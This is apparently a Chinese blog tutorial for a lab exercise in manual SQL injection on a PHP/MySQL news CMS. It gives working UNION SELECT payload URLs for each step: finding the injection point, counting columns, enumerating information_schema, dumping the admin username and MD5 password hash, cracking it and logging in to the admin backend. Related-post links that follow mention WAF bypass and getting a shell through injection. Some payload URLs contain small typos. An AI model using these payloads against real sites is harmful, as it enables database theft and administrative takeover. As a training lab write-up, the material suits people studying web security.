SQL注入之PHP+Mysql
PHP+Mysql(GET方法+数值型+有错误回显)的注入方法
目标系统:PHP+MYSQL(GET方法+数值型+有错误信息)
环境说明:
后台地址:http://ip/cms/admin/login.php
漏洞URL:http://ip/cms/show.php?id=35
引发漏洞文件:
shop.php和common.function.php
漏洞成因:
直接将URL传入的参数值与sql语句拼接,没有对传入参数进行任何过滤,导致sql注入漏洞。
操作步骤:
步骤1
操作:打开任意新闻的URL,如
http://ip/cms/show.php?id=35
实验现象截图:
http://192.168.1.9/cms/show.php?id=35

步骤2
目的:判断注入点,看到有id=的参数就想到可能有注入点
操作1:在URL后添加“’”测试是否存在SQL注入,报错证明有SQL注入。
实验现象截图:
根据错误信息判断应该是mysql数据库
http://192.168.1.9/cms/show.php?id=35'

http://192.168.1.9/cms/show.php?id=35 and 1=1

http://192.168.1.9/cms/show.php?id=35 and 1=2

步骤3 判断字段长度:
目的: 判断字段长度
操作:利用order by N,从数字1开始替代N,直到返回错误页面,判断字段长度为错误页面的N-1,也就是最后一个正常页面返回。
http://192.168.1.9/cms/show.php?id=35%20order%20by%2016
实验现象截图:

字段长度15
步骤4 判断字段位置回显:
目的:判断字段位置回显
操作:利用and 1=2 union select 1,2,3,4,5,……,15,最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3和11的位置可以回显信息。
http://ip/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

步骤5判断数据库信息:
目的:判断数据库信息
操作:利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替换sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15这个语句是查看版本的。
database()查看数据库;查看当前用户user();
http://ip/cms/show.php?id=35%20and%201=2%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15
实验现象截图:
http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

步骤6判断mysql所有数据库名称:
目的:判断mysql所有数据库名称
操作:利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有数据库的名称。可知业务数据库为cms。
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.SCHEMATA

关键列:pass、name
步骤7判断数据库表名称:
目的: 判断数据库表名称
操作:利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms数据库拥有的所有表。可以发现存放用户信息的表cms_users。
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.tables where table_schema=database()

步骤8判断数据表的所有列列名:
目的:判断数据表的所有列列名
操作:利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。
table_name=cms_users,表名需要编码为16进制。得到3个列:userid,username和password
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schema=database() and table_name=0x636D735F7573657273

步骤9 判断管理员账号密码:
目的:判断管理员账号密码
操作:利用and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(username using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,group_concat(convert(password using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

步骤10 破解密码
目的: 破解密码
操作:登录md5.com解密
实验现象截图:

步骤11 登录后台:使用admin/123456登录后台
目的: 登录后台
操作:登录http://192.168.1.9/cms/admin/login.php
实验现象截图:


2018-11-22 21:01:08 byskkip
SQL注入之PHP+Mysql的更多相关文章
- 在SQL注入中利用MySQL隐形的类型转换绕过WAF检测
web应用一般采用基于表单的身份验证方式(页面雏形如下图所示),处理逻辑就是将表单中提交的用户名和密码传递到后台数据库去查询,并根据查询结果判断是否通过身份验证.对于LAMP架构的web应用而言,处理 ...
- 【漏洞汇总】SQL 注入漏洞之 mysql
日期:2019-07-23 19:55:59 更新:2019-08-02 10:40:37 作者:Bay0net 介绍:Mysql 注入笔记 0x01. 基本信息 1.1 基本术语 数据库: 数据库是 ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- 模糊查询的like '%$name$%'的sql注入避免
Ibatis like 查询防止SQL注入的方法 Ibatis like 查询防止SQL注入的方法 mysql: select * from tbl_school where school_name ...
- web安全之SQL注入---第五章 如何预防SQL注入 ?
5-1严格检查输入变量的类型和格式总结:其实就是做一些判断正则表达式:验证密码:/^[a-zA-Z]{6,}$/5-1严格检查输入变量的类型和格式总结:其实就是做一些判断正则表达式:验证密码:/^[a ...
- 常见的SQL注入检测语句(转载)
0x00 前言 现在很多WAF都能拦截sqlmap.havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击 0x01 发现SQL 注 ...
- 一篇文章带你了解SQL注入
什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
随机推荐
- Python实现不带头结点的单链表
1 # 创建一个节点类 2 class Node: 3 def __init__(self, item): 4 self.item = item 5 self.next = None 6 7 8 # ...
- netty系列之:让TCP连接快一点,再快一点
简介 经典的TCP三次握手大家应该很熟悉了,三次握手按道理说应该是最优的方案了,当然这是对于通用的情况来说的.那么在某些特殊的情况下是不是可以提升TCP建立连接的速度呢? 答案是肯定的,这就是今天我们 ...
- 分析CVE-2018-18557与复现
前言 cve描述: LibTIFF 4.0.9 (with JBIG enabled) decodes arbitrarily-sized JBIG into a buffer, ignoring t ...
- React Native纯干货总结
随着项目也渐渐到了尾声,之前的项目是mobile开发,采用的是React Native.为即将要开始做RN项目或者已经做过的小伙伴可以参考借鉴,也顺便自己做一下之前项目的总结. 文章比较长,可以选择自 ...
- 【论文考古】分布式优化 Communication Complexity of Convex Optimization
J. N. Tsitsiklis and Z.-Q. Luo, "Communication complexity of convex optimization," Journal ...
- [杂记]LeTeX模板——ppt
出处:ShareLeTeX应用模板:https://cn.sharelatex.com/project/5810ad8a07a1ab0f0f8c2ce4 代码如下: 1 % Copyright 200 ...
- 带你玩转CompletableFuture异步编程
前言 最近在忙生活的第一个OKR,这个等等后面具体聊聊,今天开始恢复每周一篇原创,感谢小伙伴的不离不弃.这篇文章也是最近在Code Review的时候,看到的大家代码,想整体推下大家异步编程的思想,由 ...
- RFC2889——拥塞控制测试
一.简介 RFC 2889为LAN交换设备的基准测试提供了方法学,它将RFC 2544中为网络互联设备基准测试所定义的方法学扩展到了交换设备,提供了交换机转发性能(Forwarding Perform ...
- BI工具有多重要?凭什么得到各类企业的热烈追捧?
近年来,应用BI工具的企业越来越多,企业对BI工具的重视说明企业了解.认识到了数据的价值.数据分析工具已经渐渐成为企业日常经营管理活动中不可或缺的一项重要工作内容.但是你知道企业应该如何挑选BI工具吗 ...
- IComparer、IComparable、StringComparison枚举、CultureInfo 的用法
IEnumerable<T> 和 IEnumerator<T>.泛型版本是新式代码的首要选项. InvariantCulture:程序间.程序数据库.程序网络交互用Invari ...